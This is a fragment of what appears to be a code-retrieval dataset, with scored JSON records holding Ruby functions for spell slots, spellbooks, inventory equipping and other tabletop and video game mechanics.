"docid": "0952ddd87176a243c5f8e977ab2d5e42",
"score": "0.6608813",
"text": "def prepare_spell_in_slot_at_xy(spell_level, spell_row, spell_id)\r\r\n slot = get_spell_slot(spell_level, spell_row);\r\r\n slot[:level] = $VANCIAN_SPELL_LEVEL\r\r\n return prepare_spell_in_slot(slot, spell_id);\r\r\n end",
"title": ""
}
] | [
{
"docid": "3cfba288b97e9e92d65ba1683f8f23b4",
"score": "0.7066481",
"text": "def prepare_spell(spell_id)\r\r\n row = get_row_by_spell_id(spell_id);\r\r\n return false unless row;\r\r\n \r\r\n ideal_slots = [];\r\r\n suboptimal_slots = [];\r\r\n row.each_with_index do |slot, i|\r\r\n next if slot[:spell_id] && !slot[:replaceable]\r\r\n next unless is_slot_available_for_spell?(slot, slot[:spell_id],row);\r\r\n if slot[:replaceable]\r\r\n suboptimal_slots.push(slot);\r\r\n else\r\r\n ideal_slots.push(slot);\r\r\n end\r\r\n end\r\r\n \r\r\n return true if prepare_spell_in_slot(ideal_slots.first, spell_id)\r\r\n return true if prepare_spell_in_slot(suboptimal_slots.first, spell_id)\r\r\n return false\r\r\n end",
"title": ""
},
{
"docid": "bb233389bf84bb0bfa54983af222867d",
"score": "0.6523306",
"text": "def create_spell_slot(input_spell_name, input_character_class)\n if Spell.find_by(name: input_spell_name).nil?\n puts\n puts \"Not a valid spell! Try again!\"\n puts\n elsif Spell.find_by(name: input_spell_name).classes.include?(input_character_class)\n SpellSlot.find_or_create_by(spell_id: Spell.find_by(name: input_spell_name).id, character_class_id: CharacterClass.find_by(class_name: input_character_class).id)\n else\n puts\n puts \"Your class cannot learn that spell.\"\n puts\n end\nend",
"title": ""
},
{
"docid": "670bc042d3b43e9ac98b2db02356a30b",
"score": "0.6262849",
"text": "def rebuild_spell_slots(level)\r\r\n return unless @source\r\r\n @active_spell_slots = @source.at_level(level);\r\r\n # Additional restricted slots may need to be appended off of an\r\r\n # Array.each (or barring that, I add some default handling for\r\r\n # basic spell slots, and staple them on--either way, think\r\r\n # of it later)\r\r\n end",
"title": ""
},
{
"docid": "9118212ef8a5bb98e3d03d9006920104",
"score": "0.6189414",
"text": "def update_spell_slots(level)\r\r\n return unless @source\r\r\n \r\r\n current_spells = active_spell_slots;\r\r\n rebuild_spell_slots(level)\r\r\n \r\r\n # At the moment, this presrves order but not spacing\r\r\n # Directly moving over based on coordinates or what-not may not work,\r\r\n # since we're not guaranteed order of conditional spell slots.\r\r\n current_spells.each_with_index do |level|\r\r\n level.each_with_index do |slot|\r\r\n next unless slot[:spell_id]\r\r\n prepare_spell(slot[:spell_id]);\r\r\n end\r\r\n end\r\r\n # TODO: Faster implementation of this\r\r\n end",
"title": ""
},
{
"docid": "cdceb4f36b6449e1335a9ef0c0d0f140",
"score": "0.6062253",
"text": "def on_spell(tag)\n @world.spells.prepare(tag.text)\n end",
"title": ""
},
{
"docid": "775103b097a9b2a5a812a8014846d916",
"score": "0.6055792",
"text": "def use_spell(spell_id)\r\r\n row = get_row_by_spell_id(spell_id);\r\r\n return false unless row;\r\r\n \r\r\n row.each do |slot|\r\r\n next if slot[:spell_id] && !slot[:replaceable]\r\r\n next unless is_slot_available_for_spell?(slot);\r\r\n if slot[:replaceable]\r\r\n suboptimal_slots.push(slot);\r\r\n else\r\r\n ideal_slots.push(slot);\r\r\n end\r\r\n end\r\r\n end",
"title": ""
},
{
"docid": "26ab86cfcfbf474586157710d76afdb8",
"score": "0.59350735",
"text": "def restore_spells\r\r\n return unless @source\r\r\n active_spell_slots.each do |level|\r\r\n level.each do |slot|\r\r\n slot[:expended] = false;\r\r\n # replaceable has no meaning in by the book mode; just never enable\r\r\n # it, and stop drawing those silly rectangles\r\r\n if VancianCS::SPELL_PREPARATION_STYLE != :by_the_book\r\r\n slot[:replaceable] = true;\r\r\n end\r\r\n end\r\r\n end\r\r\n end",
"title": ""
},
{
"docid": "4bda1c0f940313a8163a37a172eac8fe",
"score": "0.5706521",
"text": "def learn_spell(spellid)\n @spells << spellid unless @spells.include? spellid\n end",
"title": ""
},
{
"docid": "e5944782acb8e2db888ebdce7c25230c",
"score": "0.5705174",
"text": "def consume_spell_slot!(level, character_class = nil, qty = 1)\n character_class = @spell_slots.keys.first if character_class.nil?\n if @spell_slots[character_class][level]\n @spell_slots[character_class][level] = [@spell_slots[character_class][level] - qty, 0].max\n end\n end",
"title": ""
},
{
"docid": "18385dfe24b5f0a0c712c93dea18e53d",
"score": "0.5589684",
"text": "def spell\r\n\r\n playerset($testing)\r\n \r\n spellcard = @@hand.selectcard('spell')\r\n print \"You have \"\r\n cprint(\"activated \",\"green\")\r\n puts spellcard[:name]\r\n @@spelltrapfield.addcard(4,spellcard)\t# Adds the spell to the spell field.\r\n @@hand.removecard(spellcard)\r\n graphicsupdate('')\r\n puts \"Spell Field:\"\r\n @@spelltrapfield.list(false,[:name])\r\n puts \"Evaluating spell data...\"\t\r\n eval(spellcard[:effect])\r\n @@spelltrapfield.removecard(spellcard,false)\t\t# Deletes the spell from the spell field\r\n @@spelltrapfield.list(false,[:name])\r\n graphicsupdate('')\r\nend",
"title": ""
},
{
"docid": "02cabdc2b96773e76c4d3a38c3de9029",
"score": "0.5522646",
"text": "def set_spell\n @spell = Spell.where('lower(name) LIKE ?', params[:id].downcase).first!\n end",
"title": ""
},
{
"docid": "1a618775f63a2498f0b63af85e678e2b",
"score": "0.54201144",
"text": "def upgrade_spell\r\n\t\tvalid_choice = [\"blast\", \"armor\", \"shield\"]\r\n\t\tputs \"Which spell would you like to enhance? (blast, armor, shield)\"\r\n\t\tspell_choice = gets.chomp\r\n\t\tuntil valid_choice.include?(spell_choice)\r\n\t\t\tputs \"Choose a spell to upgrade! (blast, armor, shield)\"\r\n\t\t\tspell_choice = gets.chomp\r\n\t\tend\r\n\t\tcase spell_choice \r\n\t\twhen \"blast\" \r\n\t\t\tputs \"Blast has been enhanced!\"\r\n\t\t upgrade_blast\r\n\t\twhen \"armor\" \r\n\t\t\tputs \"Mage Armor has been enhanced!\"\r\n\t\t\tupgrade_mage_armor\r\n\t\twhen \"shield\" \r\n\t\t\tputs \"Mage Shield has been enhanced!\"\r\n\t\t\tupgrade_mage_shield\r\n\t\tend\r\n\tend",
"title": ""
},
{
"docid": "d6020983abfe73d092facf43b87d1448",
"score": "0.5341257",
"text": "def increment_spell_slots school, lvl\n\t\t$log.info \"Build::increment_spell_slots(#{school},#{lvl})\"\n\t\tbuild_state_data = self.save_state\n\t\tif self.can_add_spells(school)\n\t\t\tset_spells_at(school, lvl, spells_at(school, lvl) + 1)\n\t\t\tenforce_legality(school, lvl)\n\t\t\tenforce_legality(school, lvl)\n\t\t\tself.legalize()\n\t\t\tif $config.setting('Enforce Build') and (self.calculate_cost() > @character.experience.build)\n\t\t\t\t@add_error = \"Insufficient loose build.\"\n\t\t\t\tself.load_state(build_state_data)\n\t\t\t\treturn false\n\t\t\tend\n\t\t\treturn true\n\t\telse\n\t\t\t$log.error 'Cannot add spell: Missing some prerequisite.'\n\t\t\t@add_error = 'Cannot add spell: Missing some prerequisite.'\n\t\t\treturn false\n\t\tend\n\tend",
"title": ""
},
{
"docid": "0fe31044fb7070e16de2fc44eac0ee8a",
"score": "0.53157705",
"text": "def spell_store(character)\n\tvalid_input = false\n\tuntil valid_input == true\n\t\tputs \"\\n**Available Spells**\\n\"\n\t\t\tcharacter.unlearned_spells.each do |spell_name|\n\t\t\t\tspell_stats = character.master_spellbook[spell_name]\n\t\t\t\tputs (character.unlearned_spells.index(spell_name) + 1).to_s + \". \" + spell_name + \" - \" +\n\t\t\t\t\"#{spell_stats[0]} \" +\n\t\t\t\t\"It costs #{spell_stats[4]} gold pieces\\n\"\n\t\t\tend\n\t\tputs \"\\nYou have #{character.treasure} gold coins.\"\n\t\tputs \"\\nWhat would you like to purchase? Or would you rather [E]xit the shop?\"\n\t\tchoice = gets.chomp\n\t\tif choice.downcase == \"e\"\n\t\t\tputs \"\\nWell, lovely seeing you #{character.name}! Stop by any time.\"\n\t\t\tvalid_input = true\n\t\telsif choice.to_i == 0 || choice.to_i > character.unlearned_spells.length\n\t\t\tputs \"Don't trifle with me, #{character.name}! Choose a spell on offer!\"\n\t\telse\n\t\t\tchoice_index = choice.to_i\n\t\t\tchoice_index -= 1\n\t\t\tspell_name = character.unlearned_spells[choice_index]\n\t\t\tspell_stats = character.master_spellbook[spell_name]\n\t\t\tif spell_stats[4] > character.treasure\n\t\t\t\tputs \"\\nYou can't afford that spell!\"\n\t\t\telse\n\t\t\t\tputs \"\\n'Excellent choice, #{character.name}!' Madame Squeekendorf enthuses.\" \n\t\t\t\tcharacter.learn_spell(spell_stats[5])\n\t\t\t\tcharacter.pay(spell_stats[4])\n\t\t\tend\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "f9834854b8890c4150fe8d64f3815cb0",
"score": "0.5280415",
"text": "def available_spell_slots\r\r\n @basic_spell_slots\r\r\n end",
"title": ""
},
{
"docid": "78aae033dbf6f0f44c452493e02763ca",
"score": "0.5239827",
"text": "def set_spell\n @spell = Spell.find(params[:id])\n end",
"title": ""
},
{
"docid": "78aae033dbf6f0f44c452493e02763ca",
"score": "0.5239827",
"text": "def set_spell\n @spell = Spell.find(params[:id])\n end",
"title": ""
},
{
"docid": "78aae033dbf6f0f44c452493e02763ca",
"score": "0.5239827",
"text": "def set_spell\n @spell = Spell.find(params[:id])\n end",
"title": ""
},
{
"docid": "78aae033dbf6f0f44c452493e02763ca",
"score": "0.5239827",
"text": "def set_spell\n @spell = Spell.find(params[:id])\n end",
"title": ""
},
{
"docid": "10b54226ef8da94a7ffb9ba079b7abe1",
"score": "0.5218191",
"text": "def set_spell\n\t\t@spell = Spell.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "195ff547369cede3fa8f9e8304846bae",
"score": "0.5196569",
"text": "def restore_all_spell_slots\r\r\n $game_party.all_members.each do |actor|\r\r\n actor.restore_spells\r\r\n end\r\r\n end",
"title": ""
},
{
"docid": "74b5d6f39815577595f270f38884ef5b",
"score": "0.5193853",
"text": "def spell_one(o,t)\n if o == 1 and t != 1\n self.one = \"one\"\n elsif o == 2 and t != 1\n self.one = \"two\"\n elsif o == 3 and t != 1\n self.one = \"three\"\n elsif o == 4 and t != 1\n self.one = \"four\"\n elsif o == 5 and t != 1\n self.one = \"five\"\n elsif o == 6 and t != 1\n self.one = \"six\"\n elsif o == 7 and t != 1\n self.one = \"seven\"\n elsif o == 8 and t != 1\n self.one = \"eight\"\n elsif o == 9 and t != 1\n self.one = \"nine\"\n else\n self.one = \"\"\n end\n#appends the spelled number without a space in front if no number is before it\n if ten == ''\n @spelled << one\n else\n @spelled << ' ' + one\n end\n end",
"title": ""
},
{
"docid": "e942623fb817bcdefcbddfec16fadcee",
"score": "0.518986",
"text": "def spell_params\n\t\tparams.require(:spell).permit!\n\tend",
"title": ""
},
{
"docid": "c95eaf96da95cccc6112ebade9d9567e",
"score": "0.5112684",
"text": "def decrement_spell_slots school, lvl\n\t\tset_spells_at(school, lvl, spells_at(school, lvl) - 1)\n\t\tenforce_legality(school, lvl)\n\t\tself.legalize()\n\t\treturn true\n\tend",
"title": ""
},
{
"docid": "30313e77cde447c714d3f422d9cb0ab2",
"score": "0.51091915",
"text": "def prepare_word(word)\n\t\t@word_to_guess = word.chars\n\t\tg = []\n\t\t@word_to_guess.each do |l|\n\t\t\tg << \" - \"\n\t\tend\n\t\t@guessed = g\n\t\t@attempts = word.length\n\tend",
"title": ""
},
{
"docid": "b18b15cc9fae163c373fc4c147856a40",
"score": "0.51020217",
"text": "def roll_spell_book(number, category, char_class) \r\n (number-known[char_class][category].length).times do\r\n book[char_class] = Hash.new([]) if book[char_class].length <= 0 \r\n list_dup = @@list[char_class][category].uniq\r\n list_dup.reject!{|v| book[char_class][category].include?(v)}\r\n begin\r\n choice = list_dup[rand(list_dup.length)]\r\n choice = SpellModel.new(char_class.to_s + \" Spell\") if !choice\r\n list_dup.delete(choice)\r\n if !choice.available(forbidden_types[char_class])\r\n choice = nil\r\n end\r\n end while !choice\r\n book[char_class][category] += [choice].dup\r\n end\r\n\tend",
"title": ""
},
{
"docid": "4c3e2a8cebf28e98016d5068833d1383",
"score": "0.5096154",
"text": "def make_spell(spell_hash)\n response = RestClient.get('http://dnd5eapi.co' + spell_hash['url'])\n json = JSON.parse(response)\n \n if json != nil\n spell = Spell.new(\n api_id: json['_id'],\n api_index: json['index'],\n name: json['name'],\n desc: join_arr(json['desc']),\n highlvl: join_arr(json['higher_level']),\n page: json['page'],\n range: json['range'],\n components: join_arr(json['components'], ' '),\n material: json['material'],\n ritual: json['ritual'],\n duration: json['duration'],\n concentration: json['concentration'],\n klasses: select_classes(json['classes']),\n castingtime: json['casting_time'],\n lvl: json['level'],\n school: json['school']['name'],\n url: json['url'],\n )\n if spell.valid?\n spell.save\n end\n end\nend",
"title": ""
},
{
"docid": "7f971fb72680296b6f079278a7ed21ab",
"score": "0.50640124",
"text": "def cast_spell(mp_cost)\r\n\t\t@mp -= mp_cost\r\n\tend",
"title": ""
},
{
"docid": "383aeb78173c3635eb07e0938878c74a",
"score": "0.5058775",
"text": "def equip(item, slotNum)\n\tend",
"title": ""
},
{
"docid": "3a3be02f62906026efda555290a69033",
"score": "0.50513834",
"text": "def spell_params\n params.require(:spell).permit(:name, :mana)\n end",
"title": ""
},
{
"docid": "154f63036a9fd9ac21648aa44f4c75ea",
"score": "0.50472933",
"text": "def learn_spell(new_spell)\n\t\t@character_spellbook << new_spell\n\t\t@unlearned_spells = @unlearned_spells - @character_spellbook\n\t\tputs \"\\nYou just learned how to cast #{new_spell}\"\n\tend",
"title": ""
},
{
"docid": "5bafb101194144193a49bc3ce4d624b6",
"score": "0.5045159",
"text": "def use_slot_at_xy(level, row)\r\r\n return use_slot(get_spell_slot(level, row));\r\r\n end",
"title": ""
},
{
"docid": "95edbd6d58e14e3502539c7e0c0792b3",
"score": "0.50346875",
"text": "def execute\n if @pulses == 0\n\t if illegal_item?\n\t character.send_message \"You cannot use that spell on this item!\"\n\t stop\n\t\treturn\n\t end\n\t \n\t id = @item.id\n\t \n\t # TODO: There has to be a better way to do this.\n\t @spell.elements.each do |element, amount|\n\t catch :valid do\n\t element.runes.each do |rune|\n\t\t if id == rune\n\t\t if element.check_remove character, amount + 1, false\n\t\t\t\tthrow :valid\n\t\t\t else\n\t\t\t character.send_message \"You do not have enough \" + element.name + \"s to cast this spell.\"\n\t\t\t\tstop\n\t\t\t\treturn\n\t\t\t end\n\t\t\tend\n\t\t end\n\t\tend\n\t end\n\n\tend\n\t\n\tsuper\n end",
"title": ""
},
{
"docid": "98d9b1dbd516a7a54f403ab44ec7c3e9",
"score": "0.5031505",
"text": "def equip_item(item, slot)\n @player[:equipment][slot.to_sym] = item\n end",
"title": ""
},
{
"docid": "d480d474a1aadbce6b2bef357302e63a",
"score": "0.5005419",
"text": "def on_spellbook_ok\n \n @selected_spell = @spellbook_window.current_element\n @skill = $data_skills[@selected_spell[2][:spell_id]]\n BattleManager.actor.input.set_skill(@skill.id)\n BattleManager.actor.input.set_spell_slot(@selected_spell);\n BattleManager.actor.last_skill.object = @skill\n \n if !@skill.need_selection?\n @spellbook_window.hide\n @help_window.hide\n @spellbookhelp_window.hide\n next_command\n if @skill.for_opponent?\n select_enemy_selection\n else\n select_actor_selection\n end\n elsif @skill.for_opponent?\n select_enemy_selection\n else\n select_actor_selection\n end\n end",
"title": ""
},
{
"docid": "044437bf34d1e24911ca8c1b62b84fe2",
"score": "0.4975928",
"text": "def reset_quest(quest_id)\n delete_quest(quest_id)\n setup_quest(quest_id)\n end",
"title": ""
},
{
"docid": "1d7a439215e7dfa0867f0e2f4a45e1ec",
"score": "0.49668506",
"text": "def process_setup\n #Turn to target location\n @active_battler.turn_to( (@targets[0] || @target || @cursor))\n @hit_count = 0\n setup_itemskill # return @spell = nil if an item\n @step = Process_step2\n end",
"title": ""
},
{
"docid": "611fa4e003884c6d614262cf1e50fa73",
"score": "0.49479377",
"text": "def spell(id)\n self.set(:spell, id)\n end",
"title": ""
},
{
"docid": "0d2eb67841ec557b5639bdd6f0057da1",
"score": "0.4944956",
"text": "def corrected_word(word)\n speller.check(word) ? word : speller.suggest(word).first\n end",
"title": ""
},
{
"docid": "4b3f174787610c392f60b93cf10a4191",
"score": "0.4943338",
"text": "def bump_slot\n\t\tfilled_slots = Slot.all.collect { |s| s.story }.collect { |q| q.slot_id rescue nil }.select { |v| v if not v.nil? }\n\n\t\tslot = self.slot_id\n\t\tif filled_slots.include?(slot)\n\t\t\tbumped_story = Story.first(:conditions => {:slot_id => slot})\n\t\t\tbumped_story.slot_id = nil\n\t\t\tbumped_story.save!\n\t\tend\n\t\n\tend",
"title": ""
},
{
"docid": "7231bc4f7fb31733b3b20abe9c95fc2d",
"score": "0.4941388",
"text": "def slot_checker(slot, json)\n if json['spellcasting']\n return json['spellcasting'][slot]\n else\n return 0\n end\nend",
"title": ""
},
{
"docid": "9f8f763360c37bdcfb7008de22569b77",
"score": "0.49144933",
"text": "def lexeme=(lexeme)\n self.transaction do\n self.spellings.clear\n spelling = self.spellings.create(:lexeme_id => lexeme.id, :position => 0,\n :tags => lexeme.base_form_tags)\n raise ActiveRecord::RecordNotSaved.new if spelling.new_record?\n end\n end",
"title": ""
},
{
"docid": "89ca4f8253979a550178bc0a27857ac2",
"score": "0.4912166",
"text": "def start_quest(player_name, quest_id)\n pd = lookup(player_name)\n pd.current_quest_id = quest_id\n update(pd)\n end",
"title": ""
},
{
"docid": "7fab8bcc6e49e14a2e27da7f91b9f2e9",
"score": "0.49018267",
"text": "def respell_weapon_text\n puts \"Make sure you spelled that right and try again\"\n gets.chomp\n end",
"title": ""
},
{
"docid": "832a081fb3316edb6197b6525f368661",
"score": "0.48969245",
"text": "def spell_params\n params.require(:spell).permit(:name, :catagory, :description)\n end",
"title": ""
},
{
"docid": "54986b79299e17e87773c5c901dc529a",
"score": "0.48918498",
"text": "def spell_params\n params.require(:spell).permit(:name, :description, :spell_class, :level, :school, :ritual, :casting_time, :components, :concentration, :source)\n end",
"title": ""
},
{
"docid": "8c5f1b1c8a6c4da457fde8cc57ae3d6f",
"score": "0.48820767",
"text": "def set_spell_tag\n @spell_tag = SpellTag.find(params[:id])\n end",
"title": ""
},
{
"docid": "51d6cd9cc3e52f9f4ec48d67dcea718e",
"score": "0.48726967",
"text": "def practice_spell(new_spell)\n self.spells.each do |spell|\n if new_spell == spell\n if spell.status == \"mastered\"\n $stdout.flush\n sleep(2)\n puts \" \"\n puts spell.description\n $stdout.flush\n sleep(3)\n puts \" \"\n puts \"You've already mastered #{new_spell.name}.\"\n $stdout.flush\n sleep(1)\n puts \" \"\n puts \"Fifty points to #{self.house.name}!\"\n self.school.award_points(self, self.house, 50)\n $stdout.flush\n sleep(1)\n puts \" \"\n puts \"#{self.house.name} now has #{self.house.points} points!\"\n $stdout.flush\n sleep(2)\n puts \" \"\n else\n $stdout.flush\n sleep(2)\n puts \" \"\n puts spell.description\n $stdout.flush\n sleep(3)\n puts \" \"\n spell.status = \"mastered\"\n puts \"Congratulations, you have mastered the #{spell.name}!\"\n $stdout.flush\n sleep(1)\n puts \" \"\n\n puts \"Fifty points to #{self.house.name}!\"\n self.school.award_points(self, self.house, 50)\n $stdout.flush\n sleep(1)\n puts \" \"\n puts \"#{self.house.name} now has #{self.house.points} points!\"\n $stdout.flush\n sleep(2)\n puts \" \"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "44e865da546d28820b845aaa60d5cc75",
"score": "0.48625877",
"text": "def initialize\n @spells = {\n :a => nil,\n :b => nil,\n :c => nil,\n :d => nil\n }\n end",
"title": ""
},
{
"docid": "c8cdc9e039c691dfc0d55dde881e9603",
"score": "0.48434898",
"text": "def set_spells(array)\n @spells[:a] = array[0]\n @spells[:b] = array[1]\n @spells[:c] = array[2]\n @spells[:d] = array[3]\n end",
"title": ""
},
{
"docid": "d491b51e5ad136c96bccf212f7c034c5",
"score": "0.4838651",
"text": "def prep cursor, game\n prepare_action cursor, game\n self\n end",
"title": ""
},
{
"docid": "aa632aefe750be04317d45d733a9c3f5",
"score": "0.48380047",
"text": "def spellcheck\n if should_spell_check?\n @yboss_spell ||= YBossSpell.new\n @spell_suggestion = @yboss_spell.get_suggestion(params[:q])\n end\n end",
"title": ""
},
{
"docid": "390471a063ab9c76de071a085c0eba66",
"score": "0.48347232",
"text": "def init_spells() \n\t$spells[\"Recharge\"] = Spell.new(\"Recharge\", 229, {rec_mana:101, turns:5} )\n\t$spells[\"Shield\"] = Spell.new(\"Shield\", 113, {rec_armor:7, turns:6} )\n\t$spells[\"Drain\"] = Spell.new(\"Drain\", 73, {instant_damage:2, instant_heal:2} )\n\t$spells[\"Poison\"] = Spell.new(\"Poison\", 173, {rec_damage:3, turns:6} )\n\t$spells[\"Magic Missile\"] = Spell.new(\"Magic Missile\", 53, {instant_damage:4} )\nend",
"title": ""
},
{
"docid": "e70336cdf5ae3d412402717df3609f14",
"score": "0.48089227",
"text": "def legalize_spell_tree()\n\t\t@spells['Earth'] = [0] * 9 if self.count('Healing Arts') <= 0\n\t\t@spells['Celestial'] = [0] * 9 if self.count('Read Magic') <= 0\n\t\t@spells['Nature'] = [0] * 9 if self.count('Runes of Nature') <= 0\n\tend",
"title": ""
},
{
"docid": "cfa5eb1a22370d37a3bcc551d99384bb",
"score": "0.4805837",
"text": "def equip(slot)\n\n # Make sure slot is a valid index\n if @inventory[slot].nil?\n raise \"No item in slot #{slot}\"\n end\n\n # Store the item in a variable for now\n item = @inventory[slot]\n\n # Check to make sure that the slot is valid. If not, raise an exception.\n if !EQUIPMENT_SLOTS.include? item.equip_slot\n raise \"Invalid equipment slot : #{item.equip_slot}\"\n end\n\n # Remove the item from the inventory array\n @inventory[slot] = nil\n\n # Check if something is already equipped\n if !@equipment[item.equip_slot].nil?\n # Transfer the equipped item to the inventory.\n equipped = @equipment[item.equip_slot]\n @equipment[item.equip_slot] = nil\n @inventory[slot] = equipped\n end\n\n # Insert the item into the equipment at the appropriate slot\n @equipment[item.equip_slot] = item\n on_update :equipment, item.equip_slot, item\n\n if item.equip_slot == :weapon\n self.owner.attack_component.equip_weapon\n elsif item.equip_slot == :chest || item.equip_slot == :shield\n self.owner.defense_component.equip_armor\n end\n end",
"title": ""
},
{
"docid": "9e3953c7983ab3cfefd7cd968b7c9f9d",
"score": "0.48040712",
"text": "def equip(item, slot)\n # if there is an inventory and if its not empty\n if @world[:inventory] and not @world[:inventory].empty?\n result = when_detected(@world[:inventory], item) do |x|\n # if there is anything equipped\n if @world[:equipped]\n # if there is anything equipped in slot\n if @world[:equipped][slot]\n @world[:inventory].push(@world[:equipped][slot])\n end\n else\n @world[:equipped] = Hash.new\n end\n puts \"You have equipped #{x}\"\n @world[:equipped][slot] = x\n @world[:inventory].delete(x)\n end\n # if item is not part of the inventory\n if result == nil\n puts \"That item is not in your inventory\"\n end\n else\n puts \"There is nothing in your inventory to equip\"\n end\n end",
"title": ""
},
{
"docid": "dcf3b25fc5ff9caee0a710952f5e20f5",
"score": "0.47889236",
"text": "def pick_up(current_room, second_word)\n\tcheck = inventory_check()\n\tif second_word != \"\" && check == true\n\t\tcaught = false\n\t\t@rooms[current_room].items.each_with_index do |item, index|\n\t\t\tif second_word == item.name.downcase && caught == false\n\t\t\t\t@inventory.push(item)\n\t\t\t\t@rooms[current_room].items.delete_at(index)\n\t\t\t\tcaught = true\n\t\t\t\tputs \"You pick up #{item.name}\"\n\t\t\tend\n\t\tend\n\n\t\tif caught == false\n\t\t\tputs \"You can't do that!\"\n\t\tend\n\telsif second_word == \"\" && check == true\n\t\tputs \"\"\n\t\tprint \"What would you like to pick up? \"\n\t\tuser_input = gets.chomp.downcase\n\t\tpick_up(current_room, user_input)\n\telse\n\t\tputs \"Inventory full\"\n\tend\n\tinterface(current_room)\nend",
"title": ""
},
{
"docid": "03dfba95721ac9af1603bac877997421",
"score": "0.47785932",
"text": "def new_game(word = nil)\n @done = false\n @bad = []\n @good = []\n\n @word = (word || random_word).upcase\n end",
"title": ""
},
{
"docid": "051ed3eb80ce8a1114bcf98efba8643a",
"score": "0.47750077",
"text": "def spell_params\n params.require(:spell).permit(:name, :description, :higher_level, :page, :range, :components, :material, :ritual, :duration, :concentration, :casting_time, :level, :level_int, :school, :dnd_class, :archetype, :circles)\n end",
"title": ""
},
{
"docid": "e5f76a6c9ae92325aa47c5c05e685c12",
"score": "0.47688317",
"text": "def spell_to_learn_id\n return @spell_to_learn_id if defined?(@spell_to_learn_id)\n\n return @spell_to_learn_id = nil if me[4] > 15\n\n # first pass, looking over up to fourth slot for pure giver spells\n spell_to_learn =\n tomes.find do |id, spell|\n spell[5] == 0 && pure_giver_spell?(spell)\n end\n\n spell_to_learn ||=\n tomes.find do |id, spell|\n spell[5] == 1 && pure_giver_spell?(spell) && me[0..3][0] >= 1\n end\n\n spell_to_learn ||=\n tomes.find do |id, spell|\n spell[5] == 2 && pure_giver_spell?(spell) && me[0..3][0] >= 2\n end\n\n spell_to_learn ||=\n tomes.find do |id, spell|\n spell[5] == 3 && pure_giver_spell?(spell) && me[0..3][0] >= 3\n end\n\n # first candidate is free\n spell_to_learn ||=\n tomes.find do |id, spell|\n spell[5] == 0 && !degeneration_spell?(spell)\n end\n\n # but subsequent need to consider tax\n spell_to_learn ||=\n tomes.find do |id, spell|\n spell[5] == 1 && !degeneration_spell?(spell) && me[0..3][0] >= 1\n end\n\n spell_to_learn ||=\n tomes.find do |id, spell|\n spell[5] == 2 && !degeneration_spell?(spell) && me[0..3][0] >= 2\n end\n\n return @spell_to_learn_id = nil if spell_to_learn.nil?\n\n @spell_to_learn_id = spell_to_learn[0]\n end",
"title": ""
},
{
"docid": "e5f76a6c9ae92325aa47c5c05e685c12",
"score": "0.47688317",
"text": "def spell_to_learn_id\n return @spell_to_learn_id if defined?(@spell_to_learn_id)\n\n return @spell_to_learn_id = nil if me[4] > 15\n\n # first pass, looking over up to fourth slot for pure giver spells\n spell_to_learn =\n tomes.find do |id, spell|\n spell[5] == 0 && pure_giver_spell?(spell)\n end\n\n spell_to_learn ||=\n tomes.find do |id, spell|\n spell[5] == 1 && pure_giver_spell?(spell) && me[0..3][0] >= 1\n end\n\n spell_to_learn ||=\n tomes.find do |id, spell|\n spell[5] == 2 && pure_giver_spell?(spell) && me[0..3][0] >= 2\n end\n\n spell_to_learn ||=\n tomes.find do |id, spell|\n spell[5] == 3 && pure_giver_spell?(spell) && me[0..3][0] >= 3\n end\n\n # first candidate is free\n spell_to_learn ||=\n tomes.find do |id, spell|\n spell[5] == 0 && !degeneration_spell?(spell)\n end\n\n # but subsequent need to consider tax\n spell_to_learn ||=\n tomes.find do |id, spell|\n spell[5] == 1 && !degeneration_spell?(spell) && me[0..3][0] >= 1\n end\n\n spell_to_learn ||=\n tomes.find do |id, spell|\n spell[5] == 2 && !degeneration_spell?(spell) && me[0..3][0] >= 2\n end\n\n return @spell_to_learn_id = nil if spell_to_learn.nil?\n\n @spell_to_learn_id = spell_to_learn[0]\n end",
"title": ""
},
{
"docid": "9b47707fa54ea73e00b0d6dfaaa7e1d9",
"score": "0.47578058",
"text": "def set_spelling_word\n @spelling_word = SpellingWord.find(params[:id])\n end",
"title": ""
},
{
"docid": "c2750d11636ce1c2d42d39bfbd96c9b1",
"score": "0.4753413",
"text": "def make(qty, chem)\n # if it's ORE requested, we don't make it, just magically get it\n if chem == 'ORE'\n # @inventory['ORE'] -= qty\n return\n else\n station = station_that_makes(chem)\n qty_from_inventory = [[@inventory[chem], qty].min, 0].max\n num_to_make = qty - qty_from_inventory\n return if num_to_make == 0\n ore_needed = 0\n num_batches = (num_to_make.to_f / station.output.qty).ceil\n for ingredient in station.inputs\n @indent += 2\n make(num_batches * ingredient.qty, ingredient.chem)\n @inventory[ingredient.chem] -= num_batches * ingredient.qty\n @indent -= 2\n end\n qty_made = num_batches * station.output.qty\n @inventory[chem] += qty_made\n return\n end\n end",
"title": ""
},
{
"docid": "10554e6c857f7f440745318da3953205",
"score": "0.47515658",
"text": "def save_wizard(slot, opts = {})\n all_items = opts.fetch(:all_items, true)\n\n accessories_array = all_items ? all_accessories_codes : valid_accessory_codes\n\n save_wizard_target_slot = slot\n save_hex = bin_file_to_hex save_wizard_target_slot\n save_hex_before_length = save_hex.length\n\n titanium_bangle_count = save_hex.scan(titanium_bangle).length\n puts \"Titanium Bangle x#{titanium_bangle_count}\"\n raise 'titanium_bangle_count must be > 90' unless titanium_bangle_count > 90\n\n heliodor_bracelet_count = save_hex.scan(heliodor_bracelet).length\n puts \"Heliodor Bracelet x#{heliodor_bracelet_count}\"\n raise 'heliodor_bracelet_count must be > 90' unless heliodor_bracelet_count > 90\n\n accessory_codes_length = accessories_array.length\n puts \"Total accessory codes: #{accessory_codes_length}\"\n accessory_index = -1\n\n # gsub direct without matching on next item prefix. works because we know the full content of the item.\n dummy_accessories = [titanium_bangle, heliodor_bracelet]\n\n accessory_count = 0\n dummy_accessories.each do |dummy_weapon|\n save_hex.gsub!(dummy_weapon) do |match|\n accessory_index += 1\n valid_index = accessory_index < accessory_codes_length\n if valid_index\n accessory_count += 1\n item_id = accessories_array[accessory_index]\n full_item_for_id(item_id)\n else\n match\n end\n end\n end\n raise 'Save corrupted' unless save_hex_before_length == save_hex.length\n\n accessories_array.each do |accessory_code|\n # the dummy items will be gone because we gsubed all of them.\n next if [titanium_bangle_weapon_code, heliodor_bracelet_weapon_code].include?(accessory_code)\n puts \"Missing accessory: #{accessory_code}\" unless save_hex.scan(full_item_for_id(accessory_code)).length > 0\n end\n\n puts \"Added #{accessory_count}x accessories\"\n\n hex_to_bin_file(save_wizard_target_slot, save_hex)\n end",
"title": ""
},
